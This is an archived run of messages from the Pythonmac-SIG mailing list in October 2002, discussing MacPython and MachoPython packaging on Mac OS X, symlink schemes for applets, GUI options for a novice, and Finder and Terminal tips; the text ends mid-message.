At 12:52 pm -0400 18/10/02, kevin parks wrote:

>>Note that the /usr/... files cannot be seen
>>from Finder (at least by default), only from the unix prompt.
>
>Sorry for the non-python question here, but i wonder, on NeXTStep you
>could click a little button to turn on what i think they called
>"advanced" views or something so that you could see all your files,
>even invisible ones, in the finder.
>Is there a way to switch this on on OS X? I can't find it anywhere....
>I ask as it was brought up here.
>

You need Tinkertool  http://www.bresink.de/osx/TinkerTool2.html


-- 

Bill Bedford

He said no more is no less than it is
if in the future we live in the past


From Jack.Jansen@oratrix.com  Mon Oct 21 10:01:57 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 21 Oct 2002 11:01:57 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <D9F38EA2-E491-11D6-BB71-00039346A274@samuelsmith.org>
Message-ID: <C0CE2387-E4D3-11D6-9993-0030655234CE@oratrix.com>

On Monday, October 21, 2002, at 03:10 , Samuel M.Smith wrote:

>>
>> To start we build on the existing Apple-installed /usr/bin/python (or 
>> any other pre-installed Python, from fink or whereever). So, our 
>> MacPython-OSX installer does not necessarily include Python itself. 
>> This gives two immediate advantages: we can stuff everything into 
>> /Applications/Python (making installation and de-installation even 
>> easier) and we can do a MacPython-OSX distribution without waiting for 
>> Python 2.3. This would give people like Walt a decent way to explore 
>> Python through the IDE, without having to learn about the unix command 
>> line.
>>
> Yes, if there is a straightforward way to use another python 
> distribution like fink or a CVS install of a later version of python 
> and to switch back and forth then
> that would be good for me.

Installing on a different Python installation must definitely be 
possible. Whether switching from one to the other is possible: I'm not 
sure, but I don't think so. The way I have my experiments working at the 
moment is that inside the .app bundle for applets there's a symlink 
Contents/MacOS/python that points to /usr/bin/python (or whichever 
Python you installed MacPython on top of). If you decide to switch that 
means you would have to change those symlinks in all existing applets, 
and I don't that I can do that. And I don't think I can replace the 
symlink with something else (such as a tiny executable which could look 
up a preference), at least not without losing some functionality.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From mwh@python.net  Mon Oct 21 12:51:12 2002
From: mwh@python.net (Michael Hudson)
Date: 21 Oct 2002 12:51:12 +0100
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: Jacob Kaplan-Moss's message of "Fri, 18 Oct 2002 17:32:24 -0700"
References: <15792.37046.365900.937329@montanaro.dyndns.org> <p05111b02b9d6537428f2@[10.0.1.2]>
Message-ID: <2miszw80y7.fsf@starship.python.net>

Jacob Kaplan-Moss <jacobkm@cats.ucsc.edu> writes:

> MachoPython: [...]  This version of Python runs only on MacOS 
> X, and does not include the nifty Mac-only stuff that MacPython does.

I don't think the second half of this sentence is true, is it?  I know
I've written resource editing stuff and run it with the mach-o python
I built myself...

Cheers,
M.

-- 
  There are 'infinite' number of developed artifacts and one cannot
  develop appreciation for them all.  It would be all right to not
  understand something, but it would be imbecilic to put judgements
  on things one don't understand.               -- Xah, comp.lang.lisp


From bobsavage@mac.com  Mon Oct 21 17:19:19 2002
From: bobsavage@mac.com (Bob Savage)
Date: Mon, 21 Oct 2002 11:19:19 -0500
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <C0CE2387-E4D3-11D6-9993-0030655234CE@oratrix.com>
Message-ID: <D9F79E80-E510-11D6-AD4D-00306547CFF0@mac.com>

On Monday, October 21, 2002, at 04:01 AM, Jack Jansen wrote:

>
> Installing on a different Python installation must definitely be 
> possible. Whether switching from one to the other is possible: I'm not 
> sure, but I don't think so. The way I have my experiments working at 
> the moment is that inside the .app bundle for applets there's a 
> symlink Contents/MacOS/python that points to /usr/bin/python (or 
> whichever Python you installed MacPython on top of). If you decide to 
> switch that means you would have to change those symlinks in all 
> existing applets, and I don't that I can do that. And I don't think I 
> can replace the symlink with something else (such as a tiny executable 
> which could look up a preference), at least not without losing some 
> functionality.
>

Well, this could be a crazy, unworkable idea, and I may not even 
understand the discussion as it stands, but here goes...

My assumption is that there are three levels of Python we are talking 
about:
	[1] a UNIX-y install (either Apple-supplied, Fink-installed, or built 
by CVS, etc.)
	[2] something called "MacPython" which adds functionality, but does 
not duplicate the service(s) of [1] above
	[3] some number of applets that are built using MacPython, which is to 
say: they rely on Python, but acquire it from [1], through [2].

Perhaps the applets ([3]) could have links which point to a file in the 
"MacPython" distribution ([2]), which is really a link to the desired 
Python installation ([1]). Then, any time someone wants to change which 
version of UNIX-y Python (level [1]), they can set a preference in 
MacPython (level [2]), and no applets ([3]) need to be touched.

This does not address the issue of installing modules, but it could 
mean that someone could have multiple installations of Python (level 
[1]) and switch back and forth with ease so that they can experiment 
with the latest CVS version, use the Fink install for production, and 
test how their applets would work with the default Apple install.

I guess in my head this makes MacPython an ecosystem of sorts, and the 
level [2] "MacPython" would be the IDE, possibly some extra modules 
(PyObjC? Carbon?), the infrastructure (Framework, or whatever it takes) 
to install level [3] applets, and a handful of utilities, such as the 
one to set the preference as to which Python (level [1]) installation 
to use, as well as some examples and documentation.

So, am I way off base?

Bob Savage
bobsavage@mac.com



From Jack.Jansen@oratrix.com  Mon Oct 21 22:24:51 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 21 Oct 2002 23:24:51 +0200
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: <2miszw80y7.fsf@starship.python.net>
Message-ID: <88CC1E5E-E53B-11D6-9C45-003065517236@oratrix.com>

On maandag, oktober 21, 2002, at 01:51 , Michael Hudson wrote:

> Jacob Kaplan-Moss <jacobkm@cats.ucsc.edu> writes:
>
>> MachoPython: [...]  This version of Python runs only on MacOS
>> X, and does not include the nifty Mac-only stuff that MacPython does.
>
> I don't think the second half of this sentence is true, is it?  I know
> I've written resource editing stuff and run it with the mach-o python
> I built myself...

You're right, I missed the "not" in that sentence.

Or to be precise, MachoPython 2.2.X has 90% of the goodies, but 
unfortunately misses one or two that are needed to run the IDE, 
and iirc the IDE itself has a few problems too. MachoPython 
2.3a0 is almost feature-complete (BuildApplication is the only 
missing piece, I think).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Mon Oct 21 22:41:06 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Mon, 21 Oct 2002 23:41:06 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <D9F79E80-E510-11D6-AD4D-00306547CFF0@mac.com>
Message-ID: <CE60ECD6-E53D-11D6-9C45-003065517236@oratrix.com>

On maandag, oktober 21, 2002, at 06:19 , Bob Savage wrote:
> Well, this could be a crazy, unworkable idea, and I may not 
> even understand the discussion as it stands, but here goes...
>
> My assumption is that there are three levels of Python we are 
> talking about:
> 	[1] a UNIX-y install (either Apple-supplied, 
> Fink-installed, or built by CVS, etc.)
> 	[2] something called "MacPython" which adds functionality, 
> but does not duplicate the service(s) of [1] above
> 	[3] some number of applets that are built using MacPython, 
> which is to say: they rely on Python, but acquire it from [1], 
> through [2].
>
> Perhaps the applets ([3]) could have links which point to a 
> file in the "MacPython" distribution ([2]), which is really a 
> link to the desired Python installation ([1]). Then, any time 
> someone wants to change which version of UNIX-y Python (level 
> [1]), they can set a preference in MacPython (level [2]), and 
> no applets ([3]) need to be touched.

Bob, this is a brilliant idea! It means the MacPython can't be 
moved, but I think that already was the case (as I want to put 
Mac/Lib in there, and /usr/lib/python2.2/Lib/lib-
sitepython/MacPython.pth will contain a reference to that).

There's one thing that needs thought, though: it would be 
politically most correct to put the indirect symlink somewhere 
in your preferences. But that means that if you throw away your 
preferences your applets won't run anymore. Most importantly, 
the IDE wouldn't run, and I assume that's what you would use to 
set your preferences. Which means we have to put the indirect 
symlink right into the IDE applet.

And even then you will have problems if you install a new python 
and remove the old one before telling MacPython about it.

Hmm, a potential solution could be to let PythonLauncher handle 
this preference. As it is written in ObjC it wouldn't be 
affected by the dangling or missing symlink...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From SamuelM.Smith  Mon Oct 21 23:01:24 2002
From: SamuelM.Smith (SamuelM.Smith)
Date: Mon, 21 Oct 2002 16:01:24 -0600
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <D9F79E80-E510-11D6-AD4D-00306547CFF0@mac.com>
Message-ID: <A4381226-E540-11D6-B864-00039346A274@samuelsmith.org>

>
> My assumption is that there are three levels of Python we are talking 
> about:
> 	[1] a UNIX-y install (either Apple-supplied, Fink-installed, or built 
> by CVS, etc.)
> 	[2] something called "MacPython" which adds functionality, but does 
> not duplicate the service(s) of [1] above
> 	[3] some number of applets that are built using MacPython, which is 
> to say: they rely on Python, but acquire it from [1], through [2].
>
> Perhaps the applets ([3]) could have links which point to a file in 
> the "MacPython" distribution ([2]), which is really a link to the 
> desired Python installation ([1]). Then, any time someone wants to 
> change which version of UNIX-y Python (level [1]), they can set a 
> preference in MacPython (level [2]), and no applets ([3]) need to be 
> touched.
>

Here here! I like your idea very much. Say for example one wants to 
compare test against stackless etc.

> Yes, if there is a straightforward way to use another python 
> distribution like fink or a CVS install of a later version of python 
> and to switch back and forth then
> that would be good for me.
>



From Chris.Barker@noaa.gov  Mon Oct 21 21:30:22 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Mon, 21 Oct 2002 13:30:22 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
References: <1C666BC4-E53E-11D6-9C45-003065517236@oratrix.com>
Message-ID: <3DB463DE.6D15E981@noaa.gov>

Jack Jansen wrote:
> > I'm confused now. What is the downside of a Framework build?
> 
> The main downside, if it is one, is that Apple installs a python
> in /usr/bin. So if we include a framework Python in the
> distribution that will give the user two Pythons, and this may
> lead to lots of confusion (such as installing extension packages
> into one Python and then being surprised they're not available
> in the other).

Well, yes, I suppose there is an upside to being able to use Apple's
installed Python, if possible. As a matter of fact, I am tryin g me best
to do this at the moment for mostly political reason's with my
organisation: if I can say that it came pre-installed by Apple, that
lends Python a legitamacy that will help me get it used.

However, soon enough, I, and anyone else, is going to need to upgrade
Python to 2.3 , or whatever, and we'll be back to a separate install. At
least Apple hasn't pulled a RedHat and based a bunch of system utilities
on the Python they installed!

Also, wasn't there some noise form Apple that the would put the
Framework version of Python in when it was ready?

Overall, either solution sounds good to me, I'm really looking forward
to 2.3!

-Chris



-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From mday@mac.com  Mon Oct 21 23:14:42 2002
From: mday@mac.com (Mark Day)
Date: Mon, 21 Oct 2002 15:14:42 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <D9F79E80-E510-11D6-AD4D-00306547CFF0@mac.com>
Message-ID: <7FC1C710-E542-11D6-B4F5-00039354009A@mac.com>

On Monday, October 21, 2002, at 09:19  AM, Bob Savage wrote:

> Perhaps the applets ([3]) could have links which point to a file in 
> the "MacPython" distribution ([2]), which is really a link to the 
> desired Python installation ([1]).

That sounds like it would still be fragile unless the MacPython 
distribution is in a fixed location.  I think it's important that 
applets created on one system be usable on another system, even in the 
face of different volume names, user names, home directory locations, 
etc.  If the MacPython distribution goes into some place like /Library 
by default, then that may be sufficient.  Otherwise, I think we need to 
find a way to find things in "all the standard places" (whatever they 
may be).

-Mark



From jacobkm@cats.ucsc.edu  Mon Oct 21 23:41:37 2002
From: jacobkm@cats.ucsc.edu (Jacob Kaplan-Moss)
Date: Mon, 21 Oct 2002 15:41:37 -0700
Subject: [Pythonmac-SIG] I think I'm in buzzword hell...
In-Reply-To: <88CC1E5E-E53B-11D6-9C45-003065517236@oratrix.com>
References: <88CC1E5E-E53B-11D6-9C45-003065517236@oratrix.com>
Message-ID: <p05111b05b9da32a96602@[10.0.1.2]>

At 11:24 PM +0200 10/21/02, Jack Jansen wrote:
>On maandag, oktober 21, 2002, at 01:51 , Michael Hudson wrote:
>
>>Jacob Kaplan-Moss <jacobkm@cats.ucsc.edu> writes:
>>
>>>MachoPython: [...]  This version of Python runs only on MacOS
>>>X, and does not include the nifty Mac-only stuff that MacPython does.
>>
>>I don't think the second half of this sentence is true, is it?  I know
>>I've written resource editing stuff and run it with the mach-o python
>>I built myself...
>
>You're right, I missed the "not" in that sentence.
>
>Or to be precise, MachoPython 2.2.X has 90% of the goodies, but 
>unfortunately misses one or two that are needed to run the IDE, and 
>iirc the IDE itself has a few problems too. MachoPython 2.3a0 is 
>almost feature-complete (BuildApplication is the only missing piece, 
>I think).

Cool... that's something I'm very glad to be wrong about.

So this makes it sound like we're very close to a unified Python that 
builds right "out of the box" -- is that right?  How far is a unified 
MacPython that builds with a standard "configure; make; make install"?

Jacob


From english@spiritone.com  Tue Oct 22 00:37:13 2002
From: english@spiritone.com (Josh English)
Date: 21 Oct 2002 16:37:13 -0700
Subject: [Pythonmac-SIG] PyXML on OS 9?
Message-ID: <3DB48FA9.931EBFC3@spiritone.com>

Can anyone help me get PyXML installed properly on Mac OS 9?

Josh English


From clloyd3@houston.rr.com  Tue Oct 22 03:28:41 2002
From: clloyd3@houston.rr.com (Charles Lloyd)
Date: Mon, 21 Oct 2002 21:28:41 -0500
Subject: [Pythonmac-SIG] Novice Just Starting
Message-ID: <FAB2BDE1-E565-11D6-B1E4-00039373AF7C@houston.rr.com>

--Apple-Mail-4--1035537020
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

I am an unsophisticated programmer just starting to learn Python.  I 
have been a "ham and bean" programmer for quite a fews years but always 
worked in high level languages.  I have programmed in APL, Basic, 
Visual Basic, and applications such as Paradox, 1-2-3, and Access so I 
know how to use IF, WHILE, and other such functions.  I like Python 
because of its simplicity and the fact that you can start programming 
and "learn as you go".    I'm looking for answers to problems and not 
the beauty of a well written and structured program.  My son, who is a 
professional programmer and writes tools for the other programmers, 
cringes at my spaghetti code.

I am currently using a Mac computer running OS X 10.2.1 and I 
downloaded MacPython (I think that is what it is called), but I have 
not installed the Apple Developer files when I upgraded to 10.2.  
Should I install these files?

I feel I am ready to start writing the code I need to solve a 
particular problem but I need a good input/output GUI for the user of 
my soon to be written program.   I tried to access Tkinter which was 
downloaded with Python but I can't seem to import it to try it out.

Is there a GUI program available that I can use with Python and if so 
what do I need to do to acquire it?

Thanks,

Charles Lloyd
The Woodlands, TX
--Apple-Mail-4--1035537020
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII

I am an unsophisticated programmer just starting to learn Python.  I
have been a "ham and bean" programmer for quite a fews years but
always worked in high level languages.  I have programmed in APL,
Basic, Visual Basic, and applications such as Paradox, 1-2-3, and
Access so I know how to use IF, WHILE, and other such functions.  I
like Python because of its simplicity and the fact that you can start
programming and "learn as you go".    I'm looking for answers to
problems and not the beauty of a well written and structured program. 
My son, who is a professional programmer and writes tools for the
other programmers, cringes at my spaghetti code.


I am currently using a Mac computer running OS X 10.2.1 and I
downloaded MacPython (I think that is what it is called), but I have
<underline>not</underline> installed the Apple Developer files when I
upgraded to 10.2.  Should I install these files?


I feel I am ready to start writing the code I need to solve a
particular problem but I need a good input/output GUI for the user of
my soon to be written program.   I tried to access Tkinter which was
downloaded with Python but I can't seem to import it to try it out.


Is there a GUI program available that I can use with Python and if so
what do I need to do to acquire it?


Thanks,


Charles Lloyd

The Woodlands, TX
--Apple-Mail-4--1035537020--



From tony@lownds.com  Tue Oct 22 05:00:38 2002
From: tony@lownds.com (Tony Lownds)
Date: Mon, 21 Oct 2002 21:00:38 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <D9F38EA2-E491-11D6-BB71-00039346A274@samuelsmith.org>
References: <D9F38EA2-E491-11D6-BB71-00039346A274@samuelsmith.org>
Message-ID: <a05111769b9da78973448@[204.162.121.105]>

At 7:10 PM -0600 10/20/02, Samuel M. Smith wrote:
>>To start we build on the existing Apple-installed /usr/bin/python 
>>(or any other pre-installed Python, from fink or whereever). So, 
>>our MacPython-OSX installer does not necessarily include Python 
>>itself. This gives two immediate advantages: we can stuff 
>>everything into /Applications/Python (making installation and 
>>de-installation even easier) and we can do a MacPython-OSX 
>>distribution without waiting for Python 2.3. This would give people 
>>like Walt a decent way to explore Python through the IDE, without 
>>having to learn about the unix command line.
>>
>Yes, if there is a straightforward way to use another python 
>distribution like fink or a CVS install of a later version of python 
>and to switch back and forth then
>that would be good for me.

Me too. Taking advantage of the built-in pythonwould be nice. I'd 
rather install my own python so that Software Update doesn't break my 
python system but would still like to distribute a small applet to 
10.2 users. I'd even be happy if runapplet applets used $PATH to 
launch the correct python.

I'd be extremely happy if users could find the "right place" to put 
extensions through the finder. Neither current Python in CVS nor the 
plans for "doing it completely differently" have this property.

Could the binary MacPython 2.2 distribution be built off of a Python 
from CVS? IOW, the source for Contents/MacOS/runapplet would exist 
there, and BuildApplet would let the developer choose their target. 
Seems like a nice intermediate step before cutting out the framework 
code.

-Tony


From Jack.Jansen@oratrix.com  Tue Oct 22 10:22:16 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 22 Oct 2002 11:22:16 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <a05111769b9da78973448@[204.162.121.105]>
Message-ID: <C17DEB04-E59F-11D6-8D52-0030655234CE@oratrix.com>

On Tuesday, October 22, 2002, at 06:00 , Tony Lownds wrote:
> I'd be extremely happy if users could find the "right place" to put 
> extensions through the finder. Neither current
> Python in CVS nor the plans for "doing it completely differently" have 
> this property.

Could you elaborate, please? I'm not sure I understand exactly what you 
mean...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From pecora@anvil.nrl.navy.mil  Tue Oct 22 14:15:53 2002
From: pecora@anvil.nrl.navy.mil (Louis M. Pecora)
Date: Tue, 22 Oct 2002 09:15:53 -0400
Subject: [Pythonmac-SIG] Novice Just Starting
In-Reply-To: <FAB2BDE1-E565-11D6-B1E4-00039373AF7C@houston.rr.com>
References: <FAB2BDE1-E565-11D6-B1E4-00039373AF7C@houston.rr.com>
Message-ID: <p05001900b9daff0e9982@[132.250.127.143]>

--============_-1176829940==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I am an unsophisticated programmer just starting to learn Python.  I 
>have been a "ham and bean" programmer for quite a fews years but 
>always worked in high level languages.  I have programmed in APL, 
>Basic, Visual Basic, and applications such as Paradox, 1-2-3, and 
>Access so I know how to use IF, WHILE, and other such functions.  I 
>like Python because of its simplicity and the fact that you can 
>start programming and "learn as you go".    I'm looking for answers 
>to problems and not the beauty of a well written and structured 
>program.  My son, who is a professional programmer and writes tools 
>for the other programmers, cringes at my spaghetti code.
>
>I am currently using a Mac computer running OS X 10.2.1 and I 
>downloaded MacPython (I think that is what it is called), but I have 
>not installed the Apple Developer files when I upgraded to 10.2. 
>Should I install these files?
>
>I feel I am ready to start writing the code I need to solve a 
>particular problem but I need a good input/output GUI for the user 
>of my soon to be written program.   I tried to access Tkinter which 
>was downloaded with Python but I can't seem to import it to try it 
>out.
>
>Is there a GUI program available that I can use with Python and if 
>so what do I need to do to acquire it?
>
>Thanks,
>
>Charles Lloyd
>The Woodlands, TX


Under the old MacPython I use you did an

import macfs

then used the routines like

macfs.StandardGetFile()

and

macfs.StandardPutFile('Output')

to access the open/save dialogs.

Check out the macfs.py module.


BTW, you'll love Python.  :-)

-- 
Lou Pecora
email:  Louis.M.Pecora@nrl.navy.mil
Code 6340, Naval Research Laboratory, Washington, D.C. 20375, U.S.A.
Voice (Me): 202-767-6002     FAX:    202-767-1697
  == My comments are my own and do not reflect the views of the U.S. Navy. ==
  == No Spamming or solicitations -- both are illegal at this site ==
Check out our Nonlinear Dynamics Web site: http://chaos-mac.nrl.navy.mil/
---- Conferences ----------------------------------------------------------
   * The Experimental Chaos Conference 2002, 25-29 August 2002 San Diego, CA
     See http://experimentalchaosconference.org
   * The Gordon Research Conference on Nonlinear Science 3-8 August 2003.
     See http://www.grc.uri.edu
--============_-1176829940==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: [Pythonmac-SIG] Novice Just
Starting</title></head><body>
<blockquote type="cite" cite>I am an unsophisticated programmer just
starting to learn Python.&nbsp; I have been a &quot;ham and bean&quot;
programmer for quite a fews years but always worked in high level
languages.&nbsp; I have programmed in APL, Basic, Visual Basic, and
applications such as Paradox, 1-2-3, and Access so I know how to use
IF, WHILE, and other such functions.&nbsp; I like Python because of
its simplicity and the fact that you can start programming and
&quot;learn as you go&quot;.&nbsp;&nbsp;&nbsp; I'm looking for answers
to problems and not the beauty of a well written and structured
program.&nbsp; My son, who is a professional programmer and writes
tools for the other programmers, cringes at my spaghetti
code.</blockquote>
<blockquote type="cite" cite><br></blockquote>
<blockquote type="cite" cite>I am currently using a Mac computer
running OS X 10.2.1 and I downloaded MacPython (I think that is what
it is called), but I have<u> not</u> installed the Apple Developer
files when I upgraded to 10.2.&nbsp; Should I install these
files?</blockquote>
<blockquote type="cite" cite><br></blockquote>
<blockquote type="cite" cite>I feel I am ready to start writing the
code I need to solve a particular problem but I need a good
input/output GUI for the user of my soon to be written program.&nbsp;&nbsp;
I tried to access Tkinter which was downloaded with Python but I can't
seem to import it to try it out.</blockquote>
<blockquote type="cite" cite><br></blockquote>
<blockquote type="cite" cite>Is there a GUI program available that I
can use with Python and if so what do I need to do to acquire
it?</blockquote>
<blockquote type="cite" cite><br></blockquote>
<blockquote type="cite" cite>Thanks,</blockquote>
<blockquote type="cite" cite><br></blockquote>
<blockquote type="cite" cite>Charles Lloyd</blockquote>
<blockquote type="cite" cite>The Woodlands, TX</blockquote>
<div><br></div>
<div><br></div>
<div>Under the old MacPython I use you did an</div>
<div><br></div>
<div>import macfs<br>
</div>
<div>then used the routines like</div>
<div><br></div>
<div>macfs.StandardGetFile()</div>
<div><br></div>
<div>and</div>
<div><br></div>
<div>macfs.StandardPutFile('Output')</div>
<div><br></div>
<div>to access the open/save dialogs.</div>
<div><br></div>
<div>Check out the macfs.py module.</div>
<div><br></div>
<div><br></div>
<div>BTW, you'll love Python.&nbsp; :-)</div>
<div><br></div>

<div><font color="#000000">-- <br>
Lou Pecora<br>
email:&nbsp; Louis.M.Pecora@nrl.navy.mil<br>
Code 6340, Naval Research Laboratory, Washington, D.C. 20375,
U.S.A.<br>
Voice (Me): 202-767-6002&nbsp;&nbsp;&nbsp;&nbsp; FAX:&nbsp;&nbsp;&nbsp;
202-767-1697<br>
&nbsp;== My comments are my own and do not reflect the views of the
U.S. Navy. ==<br>
&nbsp;== No Spamming or solicitations -- both are illegal at this site
==<br>
Check out our Nonlinear Dynamics Web site:
http://chaos-mac.nrl.navy.mil/<br>
---- Conferences
----------------------------------------------------------</font></div
>
<div><font color="#000000">&nbsp; * The Experimental Chaos Conference
2002, 25-29 August 2002 San Diego, CA</font></div>
<div><font color="#000000">&nbsp;&nbsp;&nbsp; See
http://experimentalchaosconference.org</font></div>
<div><font color="#000000">&nbsp; * The Gordon Research Conference on
Nonlinear Science 3-8 August 2003.</font></div>
<div><font color="#000000">&nbsp;&nbsp;&nbsp; See http://</font><font
face="Times New Roman" size="+2"
color="#000000">www.grc.uri.edu</font><font
color="#000000"></font></div>
</body>
</html>
--============_-1176829940==_ma============--


From Laurent.Pierron@loria.fr  Tue Oct 22 17:47:23 2002
From: Laurent.Pierron@loria.fr (Laurent Pierron)
Date: Tue, 22 Oct 2002 18:47:23 +0200
Subject: [Pythonmac-SIG] Using MachoPython with MySQL and Apache
References: <p05200d10b9d6186cd992@[128.95.99.44]>
Message-ID: <3DB5811B.2030900@loria.fr>

Russell E Owen wrote:
> I'm trying to switch from serving databases on MacOS 9 with FileMaker 
> Pro to serving via MySQL on MacOS X (partly as a useful skill and partly 
> because I'm pissed at the FileMaker folks for intentionally crippling 
> their server in the affordable version). I was wondering if there are 
> any recommendations or gotchas. I've got apache, MySQL, myPHPAdmin and 
> PHP all running, but I'd much rather use Python than PHP if possible!
> 
> I have two needs:
> - Get data from text files (it's a database of measurement data, and I 
> receive the data in text files) into my database. Python looks like a 
> clear winner for that, if the Python/MySQL interface is in good shape 
> (there's a note on sourceforge that claims it builds on MacOS X, but 
> I've not yet tried it).
> - Serve data from the database. I like the way PHP integrates with 
> apache without the need for CGIs and was wondering if something like 
> that exists for Python?
> - Should I be using ZOPE instead of apache and MySQL?
> 

Spyce is exactly like PHP, but it's Python embedded in HTML pages, it's 
very easy to install and very powerful :
http://spyce.sourceforge.net/

I'm using it in combination with PostgreSQL, but you can use it with 
every database for which you have the Python API. Python API is included 
with PostgreSQL, so it's a good idea to use PostgreSQL.

-- 
Laurent PIERRON



From Chris.Barker@noaa.gov  Tue Oct 22 16:51:57 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Tue, 22 Oct 2002 08:51:57 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
References: <C17DEB04-E59F-11D6-8D52-0030655234CE@oratrix.com>
Message-ID: <3DB5741D.F48C84C5@noaa.gov>

Jack Jansen wrote:
> On Tuesday, October 22, 2002, at 06:00 , Tony Lownds wrote:
> > I'd be extremely happy if users could find the "right place" to put
> > extensions through the finder. Neither current
> > Python in CVS nor the plans for "doing it completely differently" have
> > this property.
> 
> Could you elaborate, please? I'm not sure I understand exactly what you
> mean...

My interpretation of that comment is that the Finder, by default, does
not show the "unixy" parts of the file system (/usr etc.) This makes it
impossible for users to view/manipulate any of those parts of the file
system with the finder. If that is where the Python stuff is, it's
tricky for a user to find whether a given package is installed, for
instance.

Frankly, this is my number one annoyance with OS-X: if you want to do
old time command line unix stuff, you can do that, and if you want to do
all-gui mac-like stuff, you can do that, but never the twain shall meet:
it is very awkward to switch between the two.

I have set up the finder to show me everything, which is an improvement.
Does anyone know how I could put a button on the finder that would open
a terminal, with the working directory set to the current finder
selected folder? I use this feature all the time in KDE on Linux, it is
very useful.

-Chris



-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From owen@astro.washington.edu  Tue Oct 22 18:31:20 2002
From: owen@astro.washington.edu (Russell E Owen)
Date: Tue, 22 Oct 2002 10:31:20 -0700
Subject: [Pythonmac-SIG] Re: Novice Just Starting
Message-ID: <p05200d05b9db38335be3@[128.95.99.44]>

Charles Lloyd <clloyd3@houston.rr.com> wrote

>...I am currently using a Mac computer running OS X 10.2.1 and I 
>downloaded MacPython (I think that is what it is called), but I have 
>not installed the Apple Developer files when I upgraded to 10.2. 
>Should I install these files?
>
>I feel I am ready to start writing the code I need to solve a 
>particular problem but I need a good input/output GUI for the user 
>of my soon to be written program.   I tried to access Tkinter which 
>was downloaded with Python but I can't seem to import it to try it 
>out....

This is a bit tricky at the moment, though the situation should soon 
be better. At the moment Python for the Mac comes in two flavors:
- MacPython (which you installed), which has a nice installer, a nice 
integrated development environment (IDE), etc. However, under MacOS X 
it does NOT work with Tkinter, the most common GUI environments for 
python. It does have its own Mac-specific GUI environment, but I 
don't know much about it (I don't even know if it's currently 
maintained or deprecated).
- unix python (sometimes referred to as macho-python). A version of 
this comes already installed on MacOS X; if you run the Terminal 
application and type
  python
you'll be running this version of python. The version, as installed, 
does not include support for any GUI environment, but you can add 
this.

In the not-too-distant future Python 2.3 will be out. This will unify 
the two versions of Python, should have easy instructions for adding 
GUI support of various attractive flavors (Tkinter, wxPython and the 
MacOS X native "cocoa" framework), and it generally should make life 
much easier for Mac users.

If you can wait, I strongly recommend doing so. The GUI stuff in 
Python is a bit ugly anyway, so it's a poor place to start. Learn the 
rest of Python (the nice and well documented stuff) using MacPython 
(or unix python) while you are waiting for the new unified Python to 
come out.

If you are in a hurry, check back and we'll give you some hints how 
to add GUI support to unix python. (In fact if you look at the 
archives for this mailing list you'll see quite a bit of discussion 
about it.)

-- Russell


From israel@lith.com  Tue Oct 22 18:56:39 2002
From: israel@lith.com (Israel Evans)
Date: Tue, 22 Oct 2002 10:56:39 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B43B6@mailcluster.lith.com>

I found something awhile ago called "Open Terminal Here" which does exactly
what you asked: Opens up a terminal from a finder folder with that folder as
the current directory.

try:  www.entropy.ch/software/applescript/welcome.html . THis should take
you to the correct page.


~Israel~

-----Original Message-----
From: Chris Barker [mailto:Chris.Barker@noaa.gov]
Sent: Tuesday, October 22, 2002 8:52 AM
Cc: pythonmac-sig@python.org
Subject: Re: [Pythonmac-SIG] Let's do it completely different!


Jack Jansen wrote:
> On Tuesday, October 22, 2002, at 06:00 , Tony Lownds wrote:
> > I'd be extremely happy if users could find the "right place" to put
> > extensions through the finder. Neither current
> > Python in CVS nor the plans for "doing it completely differently" have
> > this property.
> 
> Could you elaborate, please? I'm not sure I understand exactly what you
> mean...

My interpretation of that comment is that the Finder, by default, does
not show the "unixy" parts of the file system (/usr etc.) This makes it
impossible for users to view/manipulate any of those parts of the file
system with the finder. If that is where the Python stuff is, it's
tricky for a user to find whether a given package is installed, for
instance.

Frankly, this is my number one annoyance with OS-X: if you want to do
old time command line unix stuff, you can do that, and if you want to do
